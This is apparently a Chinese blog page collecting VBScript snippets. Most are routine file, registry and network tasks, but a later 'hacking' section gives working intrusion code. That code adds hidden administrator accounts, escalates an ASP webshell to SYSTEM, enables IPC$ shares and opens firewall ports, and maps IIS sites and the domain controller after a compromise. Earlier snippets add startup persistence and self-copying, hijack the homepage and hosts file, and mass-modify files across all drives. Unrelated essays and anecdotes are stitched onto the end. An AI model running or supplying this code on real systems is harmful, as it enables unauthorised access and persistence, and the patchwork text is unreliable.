脚踏实地，仰望星空。

胸怀梦想，不离不弃。

1. 计算

2. 处理文件和文件夹

3. 管理Windows

4. 处理Word, Excel, PowerPoint等Office文档

5. 嵌入网页，驱动dHTML

6. 编写HTTP通信

7. 调用系统功能（COM组件），比如说语音说话

8. 分析HTML, XML

9. 调用命令行并分析返回结果

10. 处理图片

11. 自动化按键

12. 调用Windows Media Player并管理

13. 调用Windows Live Messenger并管理

14. 服务端技术：Active Server Page (ASP)

15. 脚本病毒

16. 处理数据库



VBS获取系统安装路径

先定义这个变量是获取系统安装路径的，然后我们用”&strWinDir&”调用这个变量。

set WshShell = WScript.CreateObject("WScript.Shell")

strWinDir = WshShell.ExpandEnvironmentStrings("%WinDir%")VBS获取C:Program Files路径msgbox CreateObject("WScript.Shell").ExpandEnvironmentStrings("%ProgramFiles%")

VBS获取C:Program FilesCommon Files路径

msgbox CreateObject("WScript.Shell").ExpandEnvironmentStrings("%CommonProgramFiles%")

给桌面添加网址快捷方式

set gangzi = WScript.CreateObject("WScript.Shell")

strDesktop = gangzi.SpecialFolders("Desktop")

set oShellLink = gangzi.CreateShortcut(strDesktop & "Internet Explorer.lnk")

oShellLink.TargetPath = "http://www.fendou.info"

oShellLink.Description = "Internet Explorer"

oShellLink.IconLocation = "%ProgramFiles%Internet Exploreriexplore.exe, 0"

oShellLink.Save

给收藏夹添加网址

Const ADMINISTRATIVE_TOOLS = 6

Set objShell = CreateObject("Shell.Application")

Set objFolder = objShell.Namespace(ADMINISTRATIVE_TOOLS)

Set objFolderItem = objFolder.Self

Set objShell = WScript.CreateObject("WScript.Shell")

strDesktopFld = objFolderItem.Path

Set objURLShortcut = objShell.CreateShortcut(strDesktopFld & "奋斗Blog.url")

objURLShortcut.TargetPath = "http://www.fendou.info/"

objURLShortcut.Save

删除指定目录指定后缀文件

On Error Resume Next

Set fso = CreateObject("Scripting.FileSystemObject")

fso.DeleteFile "C:*.vbs", True

Set fso = Nothing

VBS改主页

Set oShell = CreateObject("WScript.Shell")

oShell.RegWrite "HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerMainStart Page","http://www.fendou.info"

VBS加启动项

Set oShell=CreateObject("Wscript.Shell")

oShell.RegWrite "HKLMSoftwareMicrosoftWindowsCurrentVersionRuncmd","cmd.exe"

VBS复制自己

set copy1=createobject("scripting.filesystemobject")

copy1.getfile(wscript.scriptfullname).copy("c:huan.vbs")

复制自己到C盘的huan.vbs(复制本vbs目录下的game.exe文件到c盘的gangzi.exe)

set copy1=createobject("scripting.filesystemobject")

copy1.getfile("game.exe").copy("c:gangzi.exe")

VBS获取系统临时目录

Dim fso

Set fso = CreateObject("Scripting.FileSystemObject")

Dim tempfolder

Const TemporaryFolder = 2

Set tempfolder = fso.GetSpecialFolder(TemporaryFolder)

Wscript.Echo tempfolder

就算代码出错 依然继续执行

On Error Resume Next

VBS打开网址

Set objShell = CreateObject("Wscript.Shell")

objShell.Run("http://www.fendou.info/")

VBS发送邮件

NameSpace = "http://schemas.microsoft.com/cdo/configuration/"

Set Email = CreateObject("CDO.Message")

Email.From = "发件@qq.com"

Email.To = "收件@qq.com"

Email.Subject = "Test sendmail.vbs"

Email.Textbody = "OK!"

Email.AddAttachment "C:1.txt"

With Email.Configuration.Fields

.Item(NameSpace&"sendusing") = 2

.Item(NameSpace&"smtpserver") = "smtp.邮件服务器.com"

.Item(NameSpace&"smtpserverport") = 25

.Item(NameSpace&"smtpauthenticate") = 1

.Item(NameSpace&"sendusername") = "发件人用户名"

.Item(NameSpace&"sendpassword") = "发件人密码"

.Update

End With

Email.Send

VBS结束进程

strComputer = "."

Set objWMIService = GetObject _

("winmgmts:\" & strComputer & "rootcimv2")

Set colProcessList = objWMIService.ExecQuery _

("Select * from Win32_Process Where Name = 'Rar.exe'")

For Each objProcess in colProcessList

objProcess.Terminate()

Next

VBS隐藏打开网址(部分浏览器无法隐藏打开，而是直接打开，适合主流用户使用)

createObject("wscript.shell").run "iexplore http://www.fendou.info/",0

兼容所有浏览器，使用IE的绝对路径+参数打开，无法用函数得到IE安装路径，只用函数得到了Program Files路径，应该比上面的方法好，但是两种方法都不是绝对的。

Set objws=WScript.CreateObject("wscript.shell")

objws.Run """C:Program FilesInternet Exploreriexplore.exe""www.baidu.com",vbhide

VBS遍历硬盘删除指定文件名

On Error Resume Next

Dim fPath

strComputer = "."

Set objWMIService = GetObject _

("winmgmts:\" & strComputer & "rootcimv2")

Set colProcessList = objWMIService.ExecQuery _

("Select * from Win32_Process Where Name = 'gangzi.exe'")

For Each objProcess in colProcessList

objProcess.Terminate()

Next

Set objWMIService = GetObject("winmgmts:" _

& "{impersonationLevel=impersonate}!\" & strComputer & "rootcimv2")

Set colDirs = objWMIService. _

ExecQuery("Select * from Win32_Directory where name LIKE '%c:%' or name LIKE '%d:%' or name LIKE '%e:%' or name LIKE '%f:%' or name LIKE '%g:%' or name LIKE '%h:%' or name LIKE '%i:%'")

Set objFSO = CreateObject("Scripting.FileSystemObject")

For Each objDir in colDirs

fPath = objDir.Name & "gangzi.exe"

objFSO.DeleteFile(fPath), True

Next

VBS获取网卡MAC地址

Dim mc,mo

Set mc=GetObject("Winmgmts:").InstancesOf("Win32_NetworkAdapterConfiguration")

For Each mo In mc

If mo.IPEnabled=True Then

MsgBox "本机网卡MAC地址是: " & mo.MacAddress

Exit For

End If

Next

VBS获取本机注册表主页地址

Set reg=WScript.CreateObject("WScript.Shell")

startpage=reg.RegRead("HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerMainStart Page")

MsgBox startpage

VBS遍历所有磁盘的所有目录，找到所有.txt的文件，然后给所有txt文件最底部加一句话

On Error Resume Next

Set fso = CreateObject("Scripting.FileSystemObject")

Co = VbCrLf & "路过。。。"

For Each i In fso.Drives

If i.DriveType = 2 Then

GF fso.GetFolder(i & "")

End If

Next

Sub GF(fol)

Wh fol

Dim i

For Each i In fol.SubFolders

GF i

Next

End Sub

Sub Wh(fol)

Dim i

For Each i In fol.Files

If LCase(fso.GetExtensionName(i)) = "shtml" Then

fso.OpenTextFile(i,8,0).Write Co

End If

Next

End Sub

获取计算机所有盘符

Set fso=CreateObject("scripting.filesystemobject")

Set objdrives=fso.Drives '取得当前计算机的所有磁盘驱动器

For Each objdrive In objdrives '遍历磁盘

MsgBox objdrive

Next

VBS给本机所有磁盘根目录创建文件

On Error Resume Next

Set fso=CreateObject("Scripting.FileSystemObject")

Set gangzis=fso.Drives '取得当前计算机的所有磁盘驱动器

For Each gangzi In gangzis '遍历磁盘

Set TestFile=fso.CreateTextFile(""&gangzi&"新建文件夹.vbs",Ture)

TestFile.WriteLine("By www.gangzi.org")

TestFile.Close

Next

VBS遍历本机全盘找到所有123.exe，然后给他们改名321.exe

set fs = CreateObject("Scripting.FileSystemObject")

for each drive in fs.drives

fstraversal drive.rootfolder

next

sub fstraversal(byval this)

for each folder in this.subfolders

fstraversal folder

next

set files = this.files

for each file in files

if file.name = "123.exe" then file.name = "321.exe"

next

end sub

VBS写入代码到粘贴板（先说明一下，VBS写内容到粘贴板，网上千篇一律都是通过InternetExplorer.Application对象来实现，但是缺点是在默认浏览器为非IE中会弹出浏览器，所以费了很大的劲找到了这个代码来实现）

str=“这里是你要复制到剪贴板的字符串”

Set ws = wscript.createobject("wscript.shell")

ws.run "mshta vbscript:clipboardData.SetData("+""""+"text"+""""+","+""""&str&""""+")(close)",0,true

QQ自动发消息

On Error Resume Next

str="我是笨蛋/qq"

Set WshShell=WScript.CreateObject("WScript.Shell")

WshShell.run "mshta vbscript:clipboardData.SetData("+""""+"text"+""""+","+""""&str&""""+")(close)",0

WshShell.run "tencent://message/?Menu=yes&uin=20016964&Site=&Service=200&sigT=2a39fb276d15586e1114e71f7af38e195148b0369a16a40fdad564ce185f72e8de86db22c67ec3c1",0,true

WScript.Sleep 3000

WshShell.SendKeys "^v"

WshShell.SendKeys "%s"

VBS隐藏文件

Set objFSO = CreateObject("Scripting.FileSystemObject")

Set objFile = objFSO.GetFile("F:软件大赛show.txt")

If objFile.Attributes = objFile.Attributes AND 2 Then

objFile.Attributes = objFile.Attributes XOR 2

End If

VBS生成随机数（521是生成规则，不同的数字生成的规则不一样，可以用于其它用途）

Randomize 521

point=Array(Int(100*Rnd+1),Int(1000*Rnd+1),Int(10000*Rnd+1))

msgbox join(point,"")

VBS删除桌面IE图标（非快捷方式）

Set oShell = CreateObject("WScript.Shell")

oShell.RegWrite "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoInternetIcon",1,"REG_DWORD"

VBS获取自身文件名

Set fso = CreateObject("Scripting.FileSystemObject")

msgbox WScript.ScriptName

VBS读取Unicode编码的文件

Set objFSO = CreateObject("Scripting.FileSystemObject")

Set objFile = objFSO.OpenTextFile("gangzi.txt",1,False,-1)

strText = objFile.ReadAll

objFile.Close

Wscript.Echo strText

VBS读取指定编码的文件（默认为uft-8）gangzi变量是要读取文件的路径

set stm2 =createobject("ADODB.Stream")

stm2.Charset = "utf-8"

stm2.Open

stm2.LoadFromFile gangzi

readfile = stm2.ReadText

MsgBox readfile

VBS禁用组策略

Set oShell = CreateObject("WScript.Shell")

oShell.RegWrite "HKEY_CURRENT_USERSoftwarePoliciesMicrosoftMMCRestrictToPermittedSnapins",1,"REG_DWORD"

VBS写指定编码的文件（默认为uft-8）gangzi变量是要读取文件的路径，gangzi2是内容变量

gangzi="1.txt"

gangzi2="www.gangzi.org"

Set Stm1 = CreateObject("ADODB.Stream")

Stm1.Type = 2

Stm1.Open

Stm1.Charset = "UTF-8"

Stm1.Position = Stm1.Size

Stm1.WriteText gangzi2

Stm1.SaveToFile gangzi,2

Stm1.Close

set Stm1 = nothing

VBS获取当前目录下所有文件夹名字（不包括子文件夹）

Set fso=CreateObject("scripting.filesystemobject")

Set f=fso.GetFolder(fso.GetAbsolutePathName("."))

Set folders=f.SubFolders

For Each fo In folders

wsh.echo fo.Name

Next

Set folders=Nothing

Set f=nothing

Set fso=nothing

VBS获取指定目录下所有文件夹名字（包括子文件夹）

Dim t

Set fso=WScript.CreateObject("scripting.filesystemobject")

Set fs=fso.GetFolder("d:")

WScript.Echo aa(fs)

Function aa(n)

Set f=n.subfolders

For Each uu In f

Set op=fso.GetFolder(uu.path)

t=t & vbcrlf & op.path

Call aa(op)

Next

aa=t

End function

VBS创建.URL文件（IconIndex参数不同的数字代表不同的图标，具体请参照SHELL32.dll里面的所有图标）

set fso=createobject("scripting.filesystemobject")

qidong=qidong&"[InternetShortcut]"&Chr(13)&Chr(10)

qidong=qidong&"URL=http://www.fendou.info"&Chr(13)&Chr(10)

qidong=qidong&"IconFile=C:WINDOWSsystem32SHELL32.dll"&Chr(13)&Chr(10)

qidong=qidong&"IconIndex=130"&Chr(13)&Chr(10)

Set TestFile=fso.CreateTextFile("qq.url",Ture)

TestFile.WriteLine(qidong)

TestFile.Close

VBS写hosts（没写判断，无论存不存在都追加底部）

Set fs = CreateObject("Scripting.FileSystemObject")

path = ""&fs.GetSpecialFolder(1)&"driversetchosts"

Set f = fs.OpenTextFile(path,8,TristateFalse)

f.Write ""&vbcrlf&"127.0.0.1 www.g.cn"&vbcrlf&"127.0.0.1 g.cn"

f.Close

VBS读取出HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionExplorerDesktopNameSpace 下面所有键的名字并循环输出

Const HKLM = &H80000002

strPath = "SOFTWAREMicrosoftWindowsCurrentVersionExplorerDesktopNameSpace"

Set oreg = GetObject("Winmgmts:rootdefault:StdRegProv")

oreg.EnumKey HKLM,strPath,arr

For Each x In arr

WScript.Echo x

Next

VBS创建txt文件

Dim fso,TestFile

Set fso=CreateObject("Scripting.FileSystemObject")

Set TestFile=fso.CreateTextFile("C:hello.txt",Ture)

TestFile.WriteLine("Hello,World!")

TestFile.Close

VBS创建文件夹

Dim fso,fld

Set fso=CreateObject("Scripting.FileSystemObject")

Set fld=fso.CreateFolder("C:newFolder")

VBS判断文件夹是否存在

Dim fso,fld

Set fso=CreateObject("Scripting.FileSystemObject")

If (fso.FolderExists("C:newFolder")) Then

msgbox("Folder exists.")

else

set fld=fso.CreateFolder("C:newFolder")

End If

VBS使用变量判断文件夹

Dim fso,fld

drvName="C:"

fldName="newFolder"

Set fso=CreateObject("Scripting.FileSystemObject")

If (fso.FolderExists(drvName&fldName)) Then

msgbox("Folder exists.")

else

set fld=fso.CreateFolder(drvName&fldName)

End If

VBS加输入框

Dim fso,TestFile,fileName,drvName,fldName

drvName=inputbox("Enter the drive to save to:","Drive letter")

fldName=inputbox("Enter the folder name:","Folder name")

fileName=inputbox("Enter the name of the file:","Filename")

Set fso=CreateObject("Scripting.FileSystemObject")

If(fso.FolderExists(drvName&fldName))Then

msgbox("Folder exists")

Else

Set fld=fso.CreateFolder(drvName&fldName)

End If

Set TestFile=fso.CreateTextFile(drvName&fldName&""&fileName&".txt",True)

TestFile.WriteLine("Hello,World!")

TestFile.Close

VBS检查是否有相同文件

Dim fso,TestFile,fileName,drvName,fldName

drvName=inputbox("Enter the drive to save to:","Drive letter")

fldName=inputbox("Enter the folder name:","Folder name")

fileName=inputbox("Enter the name of the file:","Filename")

Set fso=CreateObject("Scripting.FileSystemObject")

If(fso.FolderExists(drvName&fldName))Then

msgbox("Folder exists")

Else

Set fld=fso.CreateFolder(drvName&fldName)

End If

If(fso.FileExists(drvName&fldName&""&fileName&".txt"))Then

msgbox("File already exists.")

Else

Set TestFile=fso.CreateTextFile(drvName&fldName&""&fileName&".txt",True)

TestFile.WriteLine("Hello,World!")

TestFile.Close

End If

VBS改写、追加 文件

Dim fso,openFile

Set fso=CreateObject("Scripting.FileSystemObject")

Set openFile=fso.OpenTextFile("C:test.txt",2,True) '1表示只读，2表示可写，8表示追加

openFile.Write "Hello World!"

openFile.Close

VBS读取文件 ReadAll 读取全部

Dim fso,openFile

Set fso=CreateObject("Scripting.FileSystemObject")

Set openFile=fso.OpenTextFile("C:test.txt",1,True)

MsgBox(openFile.ReadAll)

VBS读取文件 ReadLine 读取一行

Dim fso,openFile

Set fso=CreateObject("Scripting.FileSystemObject")

Set openFile=fso.OpenTextFile("C:test.txt",1,True)

MsgBox(openFile.ReadLine())

MsgBox(openFile.ReadLine()) '如果读取行数超过文件的行数，就会出错

VBS读取文件 Read 读取n个字符

Dim fso,openFile

Set fso=CreateObject("Scripting.FileSystemObject")

Set openFile=fso.OpenTextFile("C:test.txt",1,True)

MsgBox(openFile.Read(2)) '如果超出了字符数，不会出错。

VBS删除文件

Dim fso

Set fso=CreateObject("Scripting.FileSystemObject")

fso.DeleteFile("C:test.txt")

VBS删除文件夹

Dim fso

Set fso=CreateObject("Scripting.FileSystemObject")

fso.DeleteFolder("C:newFolder") '不管文件夹中有没有文件都一并删除

VBS连续创建文件

Dim fso,TestFile

Set fso=CreateObject("Scripting.FileSystemObject")

For i=1 To 10

Set TestFile=fso.CreateTextFile("C:hello"&i&".txt",Ture)

TestFile.WriteLine("Hello,World!")

TestFile.Close

Next

VBS根据计算机名随机生成字符串

set ws=createobject("wscript.shell")

set wenv=ws.environment("process")

RDA=wenv("computername")

Function UCharRand(n)

For i=1 to n

Randomize ASC(MID(RDA,1,1))

temp = cint(25*Rnd)

temp = temp +65

UCharRand = UCharRand & chr(temp)

Next

End Function

msgbox UCharRand(LEN(RDA))

VBS根据mac生成序列号

Function Encode(strPass)

Dim i, theStr, strTmp

For i = 1 To Len(strPass)

strTmp = Asc(Mid(strPass, i, 1))

theStr = theStr & Abs(strTmp)

Next

strPass = theStr

theStr = ""

Do While Len(strPass) > 16

strPass = JoinCutStr(strPass)

Loop

For i = 1 To Len(strPass)

strTmp = CInt(Mid(strPass, i, 1))

strTmp = IIf(strTmp > 6, Chr(strTmp + 60), strTmp)

theStr = theStr & strTmp

Next

Encode = theStr

End Function

Function JoinCutStr(str)

Dim i, theStr

For i = 1 To Len(str)

If Len(str) – i = 0 Then Exit For

theStr = theStr & Chr(CInt((Asc(Mid(str, i, 1)) + Asc(Mid(str, i +1, 1))) / 2))

i = i + 1

Next

JoinCutStr = theStr

End Function

Function IIf(var, val1, val2)

If var = True Then

IIf = val1

Else

IIf = val2

End If

End Function

Set mc=GetObject("Winmgmts:").InstancesOf("Win32_NetworkAdapterConfiguration")

For Each mo In mc

If mo.IPEnabled=True Then

theStr = mo.MacAddress

Exit For

End If

Next

Randomize Encode(theStr)

rdnum=Int(10*Rnd+5)

Function allRand(n)

For i=1 to n

Randomize Encode(theStr)

temp = cint(25*Rnd)

If temp mod 2 = 0 then

temp = temp + 97

ElseIf temp < 9 then

temp = temp + 48

Else

temp = temp + 65

End If

allRand = allRand & chr(temp)

Next

End Function

msgbox allRand(rdnum)



VBS自动连接adslDim Wsh

Set Wsh = WScript.CreateObject("WScript.Shell")

wsh.run "Rasdial 连接名字 账号 密码",false,1

VBS自动断开ADSL

Dim Wsh

Set Wsh = WScript.CreateObject("WScript.Shell")

wsh.run "Rasdial /DISCONNECT",false,1

VBS每隔3秒自动更换IP并打开网址实例（值得一提的是，下面这个代码中每次打开的网址都是引用同一个IE窗口，也就是每次打开的是覆盖上次打开的窗口，如果需要每次打开的网址都是新窗口，直接使用run就可以了）

Dim Wsh

Set Wsh = WScript.CreateObject("WScript.Shell")

Set oIE = CreateObject("InternetExplorer.Application")

for i=1 to 5

wsh.run "Rasdial /DISCONNECT",false,1

wsh.run "Rasdial 连接名字 账号 密码",false,1

oIE.Navigate "http://www.ip138.com/?"&i&""

Call SynchronizeIE

oIE.Visible = True

next

Sub SynchronizeIE

On Error Resume Next

Do While(oIE.Busy)

WScript.Sleep 3000

Loop

End Sub

用VBS来加管理员帐号在注入过程中明明有了sa帐号，但是由于net.exe和net1.exe被限制，或其它的不明原因，总是加不了管理员帐号。VBS在活动目录（adsi）部份有一个winnt对像，可以用来管理本地资源，可以用它不依靠cmd等命令来加一个管理员，详细代码如下：

set wsnetwork=CreateObject("WSCRIPT.NETWORK")

os="WinNT://"&wsnetwork.ComputerName

Set ob=GetObject(os) '得到adsi接口,绑定

Set oe=GetObject(os&"/Administrators,group") '属性,admin组

Set od=ob.Create("user","lcx") '建立用户

od.SetPassword "123456" '设置密码

od.SetInfo '保存

Set of=GetObject(os&"/lcx",user) '得到用户

oe.add os&"/lcx"

这段代码如果保存为1.vbs，在cmd下运行，格式: cscript 1.vbs的话，会在当前系统加一个名字为lcx，密码为123456的管理员。当然，你可以用记事本来修改里边的变量lcx和123456，改成你喜欢的名字和密码值。

用vbs来列虚拟主机的物理目录有时旁注入侵成功一个站，拿到系统权限后，面对上百个虚拟主机，怎样才能更快的找到我们目标站的物理目录呢？一个站一个站翻看太累，用系统自带的adsutil.vbs吧又感觉好像参数很多，有点无法下手的感觉，试试我这个脚本吧，代码如下：

Set ObjService=GetObject("IIS://LocalHost/W3SVC")

For Each obj3w In objservice

If IsNumeric(obj3w.Name) Then

sServerName=Obj3w.ServerComment

Set webSite = GetObject("IIS://Localhost/W3SVC/" & obj3w.Name & "/Root")

ListAllWeb = ListAllWeb & obj3w.Name & String(25-Len(obj3w.Name)," ") & obj3w.ServerComment & "(" & webSite.Path & ")" & vbCrLf

End If

Next

WScript.Echo ListAllWeb

Set ObjService=Nothing

WScript.Quit

运行cscript 2.vbs后，就会详细列出IIS里的站点ID、描述、及物理目录，是不是代码少很多又方便呢？

用VBS快速找到内网域的主服务器面对域结构的内网，可能许多小菜没有经验如何去渗透。如果你能拿到主域管理员的密码，整个内网你就可以自由穿行了。主域管理员一般呆在比较重要的机器上，如果能搞定其中的一台或几台，放个密码记录器之类，相信总有一天你会拿到密码。主域服务器当然是其中最重要一台了，如何在成千台机器里判断出是哪一台呢？dos命令像net group “domain admins” /domain可以做为一个判断的标准，不过vbs也可以做到的，这仍然属于adsi部份的内容，代码如下：

 

set obj=GetObject("LDAP://rootDSE")

wscript.echo obj.servername

只用这两句代码就足够了，运行cscript 3.vbs，会有结果的。当然，无论是dos命令或vbs，你前提必须要在域用户的权限下。好比你得到了一个域用户的帐号密码，你可以用 psexec.exe -u -p cmd.exe这样的格式来得到域用户的shell，或你的木马本来就是与桌面交互的，登陆你木马shell的又是域用户，就可以直接运行这些命令了。vbs的在入侵中的作用当然不只这些，当然用js或其它工具也可以实现我上述代码的功能；不过这个专栏定下的题目是vbs在hacking中的妙用，所以我们只提vbs。写完vbs这部份我和其它作者会在以后的专栏继续策划其它的题目，争取为读者带来好的有用的文章。



WebShell提权用的VBS代码asp木马一直是搞脚本的朋友喜欢使用的工具之一,但由于它的权限一般都比较低(一般是IWAM_NAME权限),所以大家想出了各种方法来提升它的权限,比如说通过asp木马得到mssql数据库的权限,或拿到ftp的密码信息,又或者说是替换一个服务程序。而我今天要介绍的技巧是利用一个vbs文件来提升asp木马的权限，代码如下asp木马一直是搞脚本的朋友喜欢使用的工具之一,但由于它的权限一般都比较低(一般是IWAM_NAME权限),所以大家想出了各种方法来提升它的权限,比如说通过asp木马得到mssql数据库的权限,或拿到ftp的密码信息,又或者说是替换一个服务程序。而我今天要介绍的技巧是利用一个vbs文件来提升asp木马的权限，代码如下:

set wsh=createobject("wscript.shell") '创建一个wsh对象

a=wsh.run ("cmd.exe /c cscript.exe C:InetpubAdminScriptsadsutil.vbs set /W3SVC/InProcessIsapiApps C:WINNTsystem32inetsrvhttpext.dll C:WINNTsystem32inetsrvhttpodbc.dll C:WINNTsystem32inetsrvssinc.dll C:WINNTsystem32msw3prt.dll C:winntsystem32inetsrvasp.dll",0) '加入asp.dll到InProcessIsapiApps中

 

将其保存为vbs的后缀,再上传到服务上，然后利用asp木马执行这个vbs文件后。再试试你的asp木马吧，你会发现自己己经是system权限了

VBS开启ipc服务和相关设置

Dim OperationRegistry

Set OperationRegistry=WScript.CreateObject("WScript.Shell")

OperationRegistry.RegWrite "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsaforceguest",0

Set wsh3=wscript.createobject("wscript.shell")

wsh3.Run "net user helpassistant 123456",0,false

wsh3.Run "net user helpassistant /active",0,false

wsh3.Run "net localgroup administrators helpassistant /add",0,false

wsh3.Run "net start Lanmanworkstation /y",0,false

wsh3.Run "net start Lanmanserver /y",0,false

wsh3.Run "net start ipc$",0,True

wsh3.Run "net share c$=c:",0,false

wsh3.Run "netsh firewall set notifications disable",0,True

wsh3.Run "netsh firewall set portopening TCP 139 enable",0,false

wsh3.Run "netsh firewall set portopening UDP 139 enable",0,false

wsh3.Run "netsh firewall set portopening TCP 445 enable",0,false

wsh3.Run "netsh firewall set portopening UDP 445 enable",0,false

 

VBS时间判断代码

 

Digital=time

hours=Hour(Digital)

minutes=Minute(Digital)

seconds=Second(Digital)

if (hours<6) then

dn="凌辰了，还没睡啊？"

end if

if (hours>=6) then

dn="早上好！"

end if

if (hours>12) then

dn="下午好！"

end if

if (hours>18) then

dn="晚上好！"

end if

if (hours>22) then

dn="不早了，夜深了，该睡觉了！"

end if

if (minutes<=9) then

minutes="0" & minutes

end if

if (seconds<=9) then

seconds="0" & seconds

end if

ctime=hours & ":" & minutes & ":" & seconds & " " & dn

Msgbox ctime

 

VBS注册表读写

Dim OperationRegistry , mynum

Set OperationRegistry=WScript.CreateObject("WScript.Shell")

mynum = 9

mynum = OperationRegistry.RegRead("HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsaforceguest")

MsgBox("before forceguest = "&mynum)

OperationRegistry.RegWrite "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsaforceguest",0

mynum = OperationRegistry.RegRead("HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsaforceguest")

MsgBox("after forceguest = "&mynum)

 

VBS运行后删除自身代码

dim fso,f

Set fso = CreateObject("Scripting.FileSystemObject")

f = fso.DeleteFile(WScript.ScriptName)

WScript.Echo( WScript.ScriptName)

      然后我家win7中毒了。怪我乱下外挂。虽然斩尽杀绝了，还是不甘心，我就重装了一遍win7.然后下音乐盒。竟然发现有多米。心里那个激动，试试看吧。下载-安装-打开！哎呦。那个简洁！

    官网也是一样简洁。

那看看这个

点击这里下载文件

        我爸說:不要跟隔壁的大頭玩,他成績不好,會把妳待壞的.后來我爸打痲將的時候,我很認真地嘀咕著:不要跟他們打牌,他們會把妳帶壞的.他從此以后沒在傢裏打過痲將了.

         隔壁大頭說:喂,你長大后要不要跟我結婚?我傢很有錢的.為了證明他傢裏很有錢,他用圓珠筆在我的胳膊上畫了一塊手錶.答應他後我給他臉上畫了一副眼鏡順便把他眼皮給戳破了,"婚姻"立刻破裂了

           老師說:又不及格,明天叫你傢長來.第二天我把錶哥領到了老師麵前,她顯得既激動又生氣,我錶哥很恐慌地一溜煙地逃出了辦公室,並髮誓再也到我的學校來.

           錶哥說:你摸過十元錢媽?我很激動地錶示沒有摸過，想摸一下他的十元。他咽了下口水：我也没摸过，要不你去你家弄一张，我们买巧克力？

           我外婆说：地上一个人，天上一颗星，小孩是小星星，大人是大星星。她去天上之后，我夜夜仰望星空，希望看见一颗老老的、有皱纹的老星星。后来有很长一段时间，我管月亮叫做“外婆”。

            后来，我发现身边很多的人都骗过我。他们骗我把掉落的牙齿丢在屋顶上；他们骗我用手去指月亮会被割耳朵；他们骗我吃太多长大了没人娶我......他们骗我会永远爱我，永不离开。后来他们离开的时候，我知道了爱会永远，而他们不会永远。

            后来，后来我们夜夜仰望星空。

　　何中华

　　孔子说：“克己复礼为仁”。这是一句非常重要的话，值得仔细品味，因为我们从中能够引申出中国文化性格的方方面面。“克己”的“己”字是指“私”，所谓一己之私利；“克己”也就是“去私”。如此一来，人的所作所为方能回归到“礼”的要求上来。那么，“礼”又是指什么呢？所谓“礼”，就是外在的行为规范，它属于伦理范畴。所以孔子说：“非礼勿视，非礼勿听，非礼勿言，非礼勿动”。“克己”一定是自觉自愿的，“复礼”不过是“克己”的结果罢了。做到了这一点，也就是“仁”的实现。“仁”属内，“礼”属外，它们互为表里。“仁”实为“礼”的根据，“礼”是“仁”的外在表现。正如孔子所言：“人而不仁，如礼何？”从道德人格养成的顺序来看，一般是须先懂得规矩，亦即“知其然”，然后再一步步地领会其中的道理，知道为什么要这么做的理由，即“知其所有然”。所以，虽然《中庸》说“非礼不动，所以修身也”，但“修身”终究还需要“诚意正心”的自觉。

　　关于“仁”，有一解是把它诠释为“果仁”，即果实的内核之精华。这样的解释，可以很好地隐喻或象征道德的纯粹性和本根性。“果仁”的意味在于：一是充实，二是精华，三是固有之本性的根据。它意味着内在的充实。孟子说：“五谷者，种之美者也；苟为不熟，不如荑稗。夫仁，亦在乎熟之而已矣。”很明显，说“仁”“在乎熟”，就是在这种隐喻的意义上成立的。孟子还说：“充实之为美”。他又说：“仁义礼智，非外铄我也，我固有之也。”固有即是固然，亦即本然之性，它是内在自足、无待外求的。据《孟子》记载，告子曰：“仁内也，非外也。”孟子亦曰：“仁，人心也。”显然，“仁”处在核心的位置。

　　孟子拿射箭打比方：“仁者如射。射者正己而后发；发而不中，不愿胜己者，反求诸己而已矣。”其实这个道理早在孔子那里就已经说清楚了，他说：“射有似乎君子，失诸正鹄，反求诸其身。”射箭射歪了，不要怨天尤人，不要抱怨因为风的干扰或者别人的打扰而未射中，而是要首先来检讨自己，反躬自省，看看是否由于自己心不在焉。这就是儒家的态度。所以，孔子说：“君子求诸己，小人求诸人。”《中庸》亦曰：“正己而不求于人”。

　　中国文化之所以具有内倾性格，之所以采取反身性的姿态，这归根到底是由“仁”的“克己”取向决定的。确实，对于中国文化来说，是“六合之外，圣人存而不论”的。这是说，东、西、南、北，加上天、地，这六个方位，都不值得圣人去探究、去追问，而是应该把目光收回，投向自我的审视与拷问。所以，孟子有所谓“反身而诚，乐莫大焉”的说法。鲁迅先生当年在一篇题为《长城》的杂文中，曾经提到了长城的封闭性。他说：“我总觉得周围有长城围绕。这长城构成材料，是旧有的古砖和补添的新砖。两种东西联为一气造成了城壁，将人们包围。”鲁迅当然是在隐喻中国文化的封闭性，但不论怎样，长城的确是防御性的，而不是进攻性的。

　　中国文化的最高偶像是圣人，而西方文化的最高偶像是英雄。只有征服自我才能把自己证成为圣人，而只有征服外部世界才能把自己证成为英雄，二者的根本旨趣迥异。在世界历史研究领域有一个重要的课题，就是郑和下西洋同哥伦布发现新大陆的比较。郑和的船队远航，其目的不是征服、不是掠夺、不是占有，而是和平的，是为了展示泱泱大国的盛世气象，不仅不向沿途各国索取财富，相反还无偿奉送礼物。哥伦布发现新大陆的动机主要有二：一是传播基督教，二是探宝。这从哥伦布当年留下的日记中可以看得很清楚。因此，恩格斯说哥伦布的探险不过是“黄金梦驱使的结果”。西方近代的崛起，在一定意义上得益于哥伦布们从南美洲掠夺来的第一桶金。正因此，世界史上一般都把哥伦布发现新大陆，作为标志着现代化肇始的一个标志性事件。夏天热了，中国人讲究“心静自然凉”，并不致力于改变生态，而是调整自己的心态；西方人则偏好发明电风扇、空调机之类的物件，通过改变生态来适应自身。这些都反映了两种文化的不同旨趣。

